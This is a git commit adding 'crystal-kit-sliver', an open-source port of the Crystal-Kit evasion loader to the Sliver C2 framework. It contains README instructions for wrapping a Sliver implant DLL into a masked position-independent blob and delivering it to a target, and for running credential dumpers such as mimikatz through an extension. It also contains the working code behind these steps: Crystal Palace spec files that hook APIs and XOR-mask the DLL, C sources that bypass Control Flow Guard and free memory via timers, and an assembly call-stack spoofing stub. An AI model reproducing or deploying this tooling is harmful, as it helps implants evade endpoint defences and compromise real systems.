feat: rystal Palace evasion kit ported to Sliver C2

This commit is contained in:
licitrasimone
2026-05-14 08:50:51 +02:00
parent d528fecf9d
commit 1ea15255e6
58 changed files with 5532 additions and 1 deletions
+33
View File
@@ -0,0 +1,33 @@
# Reference clones (upstream repos pulled locally for analysis only)
references/
# External downloaded tooling (Crystal Palace dist, etc.) — not redistributable
external/
# Sliver operator configs (contain credentials)
*.cfg
# Build artifacts
*.o
*.obj
*.bin
*.dll
*.exe
bin/
build/
# Archives / dist downloads
*.tgz
*.tar.gz
*.zip
# Crystal Palace prerequisite (proprietary tooling, do NOT commit)
*.jar
libtcg.x64.zip
# OS / editor
.DS_Store
.vscode/
.idea/
*.swp
*~
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Simone Licitra
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+110
View File
@@ -0,0 +1,110 @@
# NOTICE
This project (`crystal-kit-sliver`) is a port to Sliver C2 of upstream
evasion tooling. It includes and/or derives from third-party software
distributed under the MIT License. All required copyright notices are
reproduced below.
---
## crystal-kit-sliver
Copyright (c) 2026 Simone Licitra
Licensed under the MIT License (see [LICENSE](LICENSE)).
This work adapts the `postex-loader` of the upstream Crystal-Kit project,
applies the cross-C2 porting pattern introduced by Crystal-Kit-Xenon, and
adds Sliver-specific build glue, manifest, and packaging.
---
## Upstream — Crystal-Kit
Source: <https://github.com/rasta-mouse/Crystal-Kit>
License: MIT
Copyright (c) rasta-mouse
The contents of `crystal-kit-sliver/loader/` and
`crystal-kit-sliver/postex-loader/` are direct copies (with the Xenon
adjustments noted below) of the corresponding directories in this
upstream repository. All original copyright notices in source files are
preserved.
---
## Upstream — COFFLoader (BOF compatibility layer)
Source: <https://github.com/sliverarmory/COFFLoader> (originally TrustedSec)
License: BSD-3-Clause
Copyright (c) 2020 TrustedSec, LLC
The files `crystal-kit-sliver/sliver-glue/wrapper/beacon.h`,
`beacon_compatibility.h` and `beacon_compatibility.c` are unmodified
copies of COFFLoader's Cobalt Strike BOF compatibility layer. They
provide `BeaconDataParse`/`BeaconDataExtract`/`BeaconPrintf` used by
our Sliver Extension wrapper to decode arguments passed by the implant.
All original copyright notices in those source files are preserved.
---
## Upstream — Crystal-Kit-Xenon
Source: <https://github.com/nickswink/Crystal-Kit-Xenon>
License: MIT
Copyright (c) nickswink
The Mythic Xenon porting fork introduced two targeted modifications in
`postex-loader/`:
1. `postex-loader/loader.spec`: switched DFR resolution mode from
`"strings"` to `"ror13"`; removed Cobalt Strike smart-pointer patches
(`$GMH`, `$GPA`); added a `dll_args` section linked from `%ARGFILE`.
2. `postex-loader/src/loader.c`: added the `_DLLARGS_` section attribute
and the `dll_arguments` variable read via `GETRESOURCE`; routed those
arguments into the `DLL_PROCESS_ATTACH` entrypoint call; commented out
the Cobalt-Strike-specific second `entry_point` call with reason
`0x4`.
These same changes apply unchanged to the Sliver port and are reused as-is.
---
## External runtime dependencies (NOT bundled in this repository)
The following components are required for a successful build but are
NOT included in this source tree:
### Crystal Palace linker (`crystalpalace.jar`)
Source: <https://tradecraftgarden.org/> (`download/cpdist-latest.tgz`)
License: BSD-3-Clause
Copyright (c) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
Crystal Palace also bundles:
- iced disassembler — Copyright (c) iced project and contributors, MIT
- JSON in Java (org.json) — Public Domain (CC0 1.0)
This jar must be downloaded separately. It is invoked at build time via
the bundled `./link` wrapper (or directly with `java -jar crystalpalace.jar run ...`).
The `generate.sh` script uses the verified positional CLI:
`./link <loader.spec> <input.dll> <out.bin> [%KEY=value ...]`
### `libtcg.x64.zip`
Source: distributed alongside the upstream Crystal-Kit repository.
License: see upstream notice.
This library appears to be derived from QEMU's Tiny Code Generator (TCG)
and may carry LGPL/GPL obligations. Users redistributing builds that
include `libtcg.x64.zip` should verify license compliance with their own
counsel.
---
## Third-party C2 framework
Sliver C2 — <https://github.com/BishopFox/sliver> — is licensed under
GPLv3. This project produces a Sliver Extension that is loaded into the
Sliver implant at runtime; the present source code is not a derivative
work of Sliver itself.
+179 -1
View File
@@ -1 +1,179 @@
# CrystalSliver
# crystal-kit-sliver
Crystal Palace evasion kit ported to [Sliver C2](https://sliver.sh).
This is the first public port of rasta-mouse's [Crystal-Kit](https://github.com/rasta-mouse/Crystal-Kit) (Cobalt Strike) to Sliver. It follows the same cross-C2 pattern proven by [Crystal-Kit-Xenon](https://github.com/nickswink/Crystal-Kit-Xenon) (Mythic).
- **License:** MIT — Copyright (c) 2026 Simone Licitra
- **Target:** Windows x64 only (upstream constraint)
- **Status:** build pipeline verified end-to-end on macOS / Linux. Windows runtime test pending.
---
## What it does
Replaces Sliver's default reflective loader and post-ex execution path with [Crystal Palace](https://tradecraftgarden.org/) (Raphael Mudge, BSD). The result is a position-independent code (PICO) blob that bundles:
- ror13 hash-based API resolution (no plain `LoadLibrary` / `GetProcAddress`)
- IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
- Draugr call stack spoofing during callbacks
- XOR sleep mask over the embedded DLL
- libtcg-based runtime obfuscation
The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and only unmasked in memory at execution time.
---
## Two use cases
### A — Implant evasion (PRIMARY)
The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO and delivered together with a stager (`run.x64.exe` from the Crystal Palace demo, BSD).
```
sliver-server generate --format shared → impl.dll
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
bundle-implant.sh → drop.zip (PICO + stager + README)
▼ deliver to target
Windows VM: run.x64.exe sliver.crystal.bin
▼ Crystal Palace loader runs
▼ unmask DLL → DllMain → HTTP beacon home
```
### B — Post-ex evasion (SECONDARY)
Once a session is active, run sensitive DLLs (recon, credential dumpers, etc.) through Crystal Palace via a Sliver Extension.
```
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal payload=mimikatz.pico.bin
```
The `crystal-loader.x64.dll` is a Sliver DLL Extension that allocates RWX memory, loads the PICO blob, and jumps to the Crystal Palace entrypoint.
---
## Repo layout
```
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + stager into drop.zip
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
```
---
## Quick build (Kali / Debian / Ubuntu)
```bash
# 1. Toolchain
sudo apt install -y mingw-w64 nasm default-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
# 4. Use case A — wrap a Sliver implant
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/drop.zip
# 5. Use case B — wrap a post-ex DLL
./crystal-kit-sliver/sliver-glue/generate.sh /path/to/postex.dll /dev/null \
crystal-kit-sliver/sliver-glue/build/postex.pico.bin
./crystal-kit-sliver/sliver-glue/pack-extension.sh
```
See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener setup, target execution, troubleshooting).
---
## What is verified
| Item | Status | Evidence |
|---|---|---|
| All Crystal-Kit sources compile under MinGW 15.2 + NASM 3.01 | OK | `make all` clean, 8 `.o` + 1 `.bin` per loader |
| Xenon post-ex patches present | OK | `dfr "ror13"`, `_DLLARGS_` section, `dll_arguments` param in `DLL_PROCESS_ATTACH` |
| Crystal Palace CLI verified | OK | `./link <spec> <dll> <out.bin> [%KEY=value]` — positional, documented in `dist/README` |
| End-to-end PICO build (Use case A) | OK | 117 KB PICO produced from test DLL |
| End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` |
| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol |
| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
| Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README |
| Runtime execution on Windows | PENDING | Not yet tested — see RUNBOOK Phase 1 |
---
## Dependencies
| Dependency | License | How to obtain | Bundled? |
|---|---|---|---|
| Crystal Palace (`crystalpalace.jar`, `link`, etc.) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | `curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz` | No (`.gitignore` excludes `external/`) |
| `libtcg.x64.zip` | Upstream binary, license unstated (likely QEMU TCG-derived) | Copied from upstream Crystal-Kit repo | Yes, kept in tree for build convenience |
| Sliver C2 | GPLv3 | <https://sliver.sh> | No — runtime dependency only |
| MinGW-w64 + NASM | GPL-compatible | `apt install` or `brew install` | No |
This repository does NOT redistribute `crystalpalace.jar`. The build pipeline fetches it externally and references it via the `CRYSTAL_PALACE_HOME` environment variable.
---
## Attribution
See [`NOTICE.md`](NOTICE.md) for the full list of upstream copyrights and licenses. Brief summary:
- **rasta-mouse** — Crystal-Kit (MIT) — base reflective loader, postex loader, spec files
- **nickswink** — Crystal-Kit-Xenon (MIT) — cross-C2 patch template (smart pointers removal + `dll_args` section)
- **Raphael Mudge / AFF-WG** — Crystal Palace (BSD-3-Clause) — linker and PIC tooling
- **TrustedSec** — COFFLoader (BSD-3-Clause) — BOF compatibility layer (`beacon.h`, `beacon_compatibility.c/h`)
- **BishopFox** — Sliver C2 (GPLv3) — target framework
---
## Roadmap
- [x] 1 — Audit upstream repos + extract diff between Crystal-Kit and Crystal-Kit-Xenon
- [x] 2 — Toolchain documentation + repository scaffold
- [x] 3 — File-by-file porting map with literal diffs (`docs/PORTING_MAP.md`)
- [x] 4 — Sources copied + Xenon patches applied + LICENSE + NOTICE
- [x] 5 — `sliver-glue/` glue scripts and Extension manifest
- [x] 6a — DLL wrapper written, built (MinGW 15.2), packaged, smoke test shellcode
- [x] 6b — Crystal Palace CLI verified, real PICO built end-to-end
- [x] 6c — Dual use case A/B: `generate-implant.sh` + `bundle-implant.sh`
- [ ] 6d — Runtime test on Windows x64 lab (smoketest + real PICO, both flows)
---
## Disclaimer
Offensive security tooling intended for authorized red team engagements, lab research, and education. Use only in environments where you have written authorization. The author assumes no responsibility for misuse.
+35
View File
@@ -0,0 +1,35 @@
# crystal-kit-sliver/
Source tree for the Crystal Palace ↔ Sliver port. See the [project root README](../README.md) for the overview, build instructions, and operational flow.
## Layout
| Directory | Contents |
|---|---|
| `loader/` | Reflective loader sources (Use case A, implant evasion). Verbatim copy of `loader/` from upstream Crystal-Kit. |
| `postex-loader/` | Post-ex loader sources (Use case B). Crystal-Kit upstream + Xenon patch (DFR → `ror13`, removed `$GMH`/`$GPA` CS smart pointers, added `dll_args` section). |
| `sliver-glue/` | Sliver-specific build glue and Extension wrapper. |
| `libtcg.x64.zip` | Upstream binary dependency. Kept in-tree so `loader.spec`'s `mergelib "../libtcg.x64.zip"` resolves without extra setup. |
## Build entry points
- `make -C loader all` — produce 8 `.o` files + 1 `.bin` under `loader/bin/`
- `make -C postex-loader all` — same for postex
- `make -C sliver-glue/wrapper all` — produce `sliver-glue/crystal-loader.x64.dll` (Sliver Extension)
- `sliver-glue/generate.sh` — Use case B build wrapper
- `sliver-glue/generate-implant.sh` — Use case A build wrapper
- `sliver-glue/bundle-implant.sh` — Use case A drop packager
- `sliver-glue/pack-extension.sh` — Use case B tarball packager
## Required environment
```bash
export CRYSTAL_PALACE_HOME=/path/to/external/crystalpalace/dist
# Optional, only for generate-implant.sh --profile mode:
export SLIVER_SERVER=/path/to/sliver-server
```
## Detailed documentation
- License: [`../LICENSE`](../LICENSE) — MIT, © 2026 Simone Licitra
- Upstream attributions: [`../NOTICE.md`](../NOTICE.md)
+22
View File
@@ -0,0 +1,22 @@
CC_64=x86_64-w64-mingw32-gcc
NASM=nasm
all: bin/loader.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
clean:
rm -f bin/*
+46
View File
@@ -0,0 +1,46 @@
x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize +disco
# merge services
load "bin/services.x64.o"
merge
dfr "resolve" "ror13"
mergelib "../libtcg.x64.zip"
# merge hooks into the loader
load "bin/hooks.x64.o"
merge
# merge call stack spoofing into the loader
load "bin/spoof.x64.o"
merge
# load the stack spoofing assembly
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# hook functions that the loader uses
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
attach "KERNEL32$VirtualFree" "_VirtualFree"
# mask & link the dll
generate $MASK 128
push $DLL
xor $MASK
preplen
link "dll"
push $MASK
preplen
link "mask"
# now get the tradecraft as a PICO
run "pico.spec"
link "pico"
export
@@ -0,0 +1,50 @@
x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize +disco
# merge services
load "bin/services.x64.o"
merge
dfr "patch_resolve" "strings"
mergelib "../libtcg.x64.zip"
# patch smart pointers in
patch "get_module_handle" $GMH
patch "get_proc_address" $GPA
# merge hooks into the loader
load "bin/hooks.x64.o"
merge
# merge call stack spoofing into the loader
load "bin/spoof.x64.o"
merge
# load the stack spoofing assembly
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# hook functions that the loader uses
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
attach "KERNEL32$VirtualFree" "_VirtualFree"
# mask & link the dll
generate $MASK 128
push $DLL
xor $MASK
preplen
link "dll"
push $MASK
preplen
link "mask"
# now get the tradecraft as a PICO
run "pico.spec"
link "pico"
export
+77
View File
@@ -0,0 +1,77 @@
x64:
load "bin/pico.x64.o"
make object +disco
# merge the hook functions
load "bin/hooks.x64.o"
merge
# merge the call stack spoofing
load "bin/spoof.x64.o"
merge
# merge the asm stub
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# merge mask
load "bin/mask.x64.o"
merge
# generate and patch in a random key
generate $KEY 128
patch "xorkey" $KEY
# merge cfg code
load "bin/cfg.x64.o"
merge
# merge cleanup
load "bin/cleanup.x64.o"
merge
# export setup_hooks and setup_memory
exportfunc "setup_hooks" "__tag_setup_hooks"
exportfunc "setup_memory" "__tag_setup_memory"
# hook functions in the DLL
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
addhook "WININET$InternetOpenA" "_InternetOpenA"
addhook "WININET$InternetConnectA" "_InternetConnectA"
addhook "WS2_32$WSAStartup" "_WSAStartup"
addhook "WS2_32$WSASocketA" "_WSASocketA"
addhook "KERNEL32$CloseHandle" "_CloseHandle"
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread"
addhook "KERNEL32$CreateThread" "_CreateThread"
addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle"
addhook "KERNEL32$ExitThread" "_ExitThread"
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
addhook "KERNEL32$HeapAlloc" "_HeapAlloc"
addhook "KERNEL32$HeapReAlloc" "_HeapReAlloc"
addhook "KERNEL32$HeapFree" "_HeapFree"
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
addhook "KERNEL32$OpenProcess" "_OpenProcess"
addhook "KERNEL32$OpenThread" "_OpenThread"
addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory"
addhook "KERNEL32$ResumeThread" "_ResumeThread"
addhook "KERNEL32$SetThreadContext" "_SetThreadContext"
addhook "KERNEL32$Sleep" "_Sleep"
addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile"
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx"
addhook "KERNEL32$VirtualFree" "_VirtualFree"
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx"
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
# hook functions in pico
attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c
mergelib "../libtcg.x64.zip"
export
+113
View File
@@ -0,0 +1,113 @@
#include <windows.h>
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
BOOL cfg_enabled ( )
{
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
NTSTATUS status = 0;
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
proc_info.ExtendedProcessInfoBuffer = 0;
status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
if ( ! NT_SUCCESS ( status ) ) {
return FALSE;
}
return proc_info.ExtendedProcessInfoBuffer;
}
BOOL bypass_cfg ( PVOID address )
{
MEMORY_BASIC_INFORMATION mbi = { 0 };
VM_INFORMATION vmi = { 0 };
MEMORY_RANGE_ENTRY mre = { 0 };
CFG_CALL_TARGET_INFO cti = { 0 };
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
if ( ! NT_SUCCESS ( status ) ) {
return FALSE;
}
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
return FALSE;
}
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
cti.Flags = CFG_CALL_TARGET_VALID;
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
ULONG output = 0;
vmi.dwNumberOfOffsets = 0x1;
vmi.plOutput = &output;
vmi.ptOffsets = &cti;
vmi.pMustBeZero = 0x0;
vmi.pMoarZero = 0x0;
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
if ( status == 0xC00000F4 )
{
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
}
if ( ! NT_SUCCESS ( status ) )
{
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
if ( status == 0xC0000045 )
{
/* pretend we bypassed it so timers can continue */
return TRUE;
}
return FALSE;
}
return TRUE;
}
+2
View File
@@ -0,0 +1,2 @@
BOOL cfg_enabled ( );
BOOL bypass_cfg ( PVOID address );
+97
View File
@@ -0,0 +1,97 @@
#include <windows.h>
#include "memory.h"
#include "cfg.h"
#include "tcg.h"
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
DECLSPEC_IMPORT void WINAPI KERNEL32$ExitThread ( DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
void cleanup_memory ( MEMORY_LAYOUT * memory )
{
/* is cfg enabled? */
BOOL enabled = cfg_enabled ( );
if ( enabled ) {
/* try to bypass it at NtContinue */
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
enabled = FALSE;
}
}
/*
* just return if we
* failed to bypass it
*/
if ( enabled ) {
return;
}
/*
* crack on and setup a timer
* to free the memory regions
*/
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
{
/* give RtlCaptureContext a chance to run */
KERNEL32$Sleep ( 100 );
if ( ctx.Rip != 0 )
{
#define CTX_COUNT 3
HANDLE heap = KERNEL32$GetProcessHeap ( );
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * CTX_COUNT );
for ( int i = 0; i < CTX_COUNT; i++ ) {
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
}
/*
* we use VirtualFree here because
* the loader uses VirtualAlloc
*/
/* the dll */
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* pico code */
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.Code );
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* pico data */
ctx_free[ 2 ].Rsp -= sizeof ( PVOID );
ctx_free[ 2 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 2 ].Rcx = ( DWORD64 ) ( memory->Pico.Data );
ctx_free[ 2 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 2 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* give a decent delay so ExitThread has time to be called */
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 2 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
}
}
}
+1
View File
@@ -0,0 +1 @@
void cleanup_memory ( MEMORY_LAYOUT * memory );
+147
View File
@@ -0,0 +1,147 @@
[BITS 64]
draugr_stub:
pop rax ; Real return address in rax
mov r10, rdi ; Store OG rdi in r10
mov r11, rsi ; Store OG rsi in r11
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
mov rsi, [ rsp + 40 ] ; Storing function to call
; ---------------------------------------------------------------------
; Storing our original registers
; ---------------------------------------------------------------------
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
mov r12, rax ; OG code used r12 for ret addr
; ---------------------------------------------------------------------
; Prepping to move stack args
; ---------------------------------------------------------------------
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
add r14, 8
add r14, [ rdi + 56 ] ; stack size of RUTS
add r14, [ rdi + 48 ] ; stack size of BTIT
add r14, [ rdi + 32 ] ; stack size of our gadget frame
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
mov r10, rsp
add r10, 0x30 ; offset of stack arg added to rsp
looping:
xor r15, r15 ; r15 will hold the offset + rsp base
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
je finish
; ---------------------------------------------------------------------
; Getting location to move the stack arg to
; ---------------------------------------------------------------------
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
mov r15, rsp ; get current stack base
sub r15, r14 ; subtract offset
; ---------------------------------------------------------------------
; Procuring the stack arg
; ---------------------------------------------------------------------
add r10, 8
push qword [ r10 ]
pop qword [ r15 ]
; ---------------------------------------------------------------------
; Increment the counter and loop back in case we need more args
; ---------------------------------------------------------------------
add r11, 1
jmp looping
finish:
; ----------------------------------------------------------------------
; Creating a big 320 byte working space
; ----------------------------------------------------------------------
sub rsp, 0x200
